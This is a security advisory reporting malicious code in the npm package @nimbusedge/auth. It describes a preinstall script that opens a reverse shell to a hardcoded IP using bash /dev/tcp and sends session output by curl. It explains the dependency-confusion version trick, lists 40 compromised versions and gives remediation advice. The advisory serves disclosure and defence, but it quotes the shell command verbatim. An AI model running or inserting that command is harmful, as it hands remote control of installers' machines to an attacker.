@nimbusedge/auth

MAL-2026-16132

Malicious code in @nimbusedge/auth (npm)

Details


---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885)
package.json declares a `preinstall` lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202/8080` to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shell session over plain HTTP to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` via `curl -X POST --data-binary @-`. The script executes automatically on `npm install`, giving the remote endpoint interactive command execution on the installer's machine and beaconing session output to the hardcoded URL. The package is published under the scoped name `@nimbusedge/auth` at version `19999.0.6` — an artificially inflated version consistent with the dependency-confusion resolution pattern, causing internal resolvers configured against the public registry to fetch this artifact in place of a private package of the same name. The mechanism is identical to install-time remote code execution and data exfiltration regardless of any self-labeling in the package metadata.

Compromised versions (40)

19999.1359.6
19999.0.4
19999.1337.7
19999.0.7
19999.1359.5
19999.1338.1
19999.1359.3
19999.1338.5
19999.1338.3
19999.1337.6
19999.1339.4
19999.1359.2
19999.1339.1
19999.1339.3
19999.1338.4
19999.0.5
19999.1360.4
19999.1337.5
19999.1339.2
19999.1338.7
19999.1359.4
19999.0.3
19999.1337.1
19999.0.2
19999.1360.5
19999.1360.3
19999.1338.6
19999.1337.4
19999.1338.8
19999.1359.1
19999.1339.5
19999.1360.2
19999.1337.2
19999.1337.8
19999.0.1
19999.1349.5
221.1.0
19999.0.6
19999.1360.1
19999.1338.2

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.